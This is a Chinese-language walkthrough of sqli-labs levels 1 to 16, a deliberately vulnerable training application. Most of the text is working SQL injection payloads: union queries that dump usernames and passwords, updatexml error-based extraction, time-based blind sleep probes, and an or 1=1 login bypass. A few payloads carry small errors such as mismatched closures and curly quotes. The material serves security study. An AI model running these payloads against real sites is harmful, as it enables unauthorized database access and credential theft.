sqli-labs第1关
1.提示输入数字值的ID作为参数,因此输入?id=1
输入不同数字得到回显不同,证明输入内容进入数据库中;判断sql语句是否是拼接,且是字符型还是数字型:?id=1'
2.联合注入
order by判断数列,当列数为4是出错,证明有三列。
判断完数列后 就可以联合查询进行注入
?id=-1'union select 1,2,3--+
查询字段、查询数据
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
到两个敏感字段username、password
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+
sqli-labs第2关
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+
sqli-labs第3关
输入?id=1' 得到回显,与第一二关有所不同sql语句是单引号字符型且有括号,闭合单引号且也要加上括号
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,0x3a,password) from users--+
sqli-labs第4关
?id=1' 、?id=1"
双引号字符型且有括号
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,0x3a, password) from users--+
sqli-labs第5关
采用单引号闭合
?id=1' order by 3--+ ……
使用联合注入没有回显,只有对错误页面显示;选择报错注入
?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- +
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)-- +
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)--+
?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),187,31),0x7e),1)--+
sqli-labs第6关
同第五关一样使用联合注入没有回显,只有对错误页面显示,不同的是使用双引号闭合;选择报错注入
?id=1" and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1) ?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+
sqli-labs第7关
输入?id=1' 时报错,但无法看到报错信息。因为单引号破坏了他原有语法结构。
输入id=1'--+时报错,根据前面题目,输入id=1')--+发现依然报错,输入id=1'))--+,发现页面显示正常。尝试报错注入,仍然无回显
所以本关sql语句有语法错误或者参数值在表中查询不到返回的页面是相同的,并且与参数值正确且无语法错误时不同,应该采用布尔盲注。
sqli-labs第8关
输入?id=1'等后发现页面不回显,判断是否有延时
id=1’ and sleep(5) --+ 发现确实有延时,可以用时间盲注
爆库长 ?id=1’ and if(length(database())=8,sleep(5),null)–+
爆库名:从左边第一个字母开始,判断库名第一个字母是不是s
?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+
?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+
sqli-labs第9关
发现不管输入什么页面显示的东西都是一样的,使用时间注入,if(a,sleep(5),1)如果a结果是真的,那么执行sleep(5)页面延迟5秒,如果a的结果是假,执行1,页面不延迟。
输入?id=1' and if(1=1,sleep(5),0)--+找到闭合,
?id=1'and if(length((select database()))>9,sleep(5),1)--+
sqli-labs第10关
第十关和第九关一样发现不管输入什么页面显示的东西都是一样的,只需要将单引号换成双引号。
sqli-labs第11关
看到了登录界面
直接在输入框内输入1'
发现报错,根据报错信息可以推断该sql语句username=' ' and password=' ',构造一个恒成立的sql语句1' or 1=1#,得到回显order by判断数列,
使用联合注入就可以获取数据库信息:1'union select 1,2#
sqli-labs第12关
在username输入1、1'无反应,输入1"报错
通过回显的报错信息可知,sql语句是双引号且有括号。
payload: 1") union select 1,2#
sqli-labs第13关
前面步骤与上一关类似闭合为单引号+括号“ ' ) ”,但联合查询无回显,尝试报错注入1 ')and updatexml(1,concat('~',(select user()),'~'),1)#,爆出数据库名
sqli-labs第14关
这关回显sql语法错误,并且闭合是",和上一关一样,这关联合查询不显示,可以用时间盲注
sqli-labs第15关
这关参数中不管有单引号还是有双引号都不会有sql语法错误信息了,使用时间盲注。
判断是否有延时1’ and sleep(5) #
爆库长:admin’ and if(length(database())=8,sleep(5),null) #
爆库名:从左边第一个字母开始,判断库名第一个字母是不是s admin’ and if(left(database(),1)=‘s’,sleep(5),null) #
爆表名:admin’ and if(left((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)#
sqli-labs第16关
这关与第15关相比就闭合不一样,闭合是")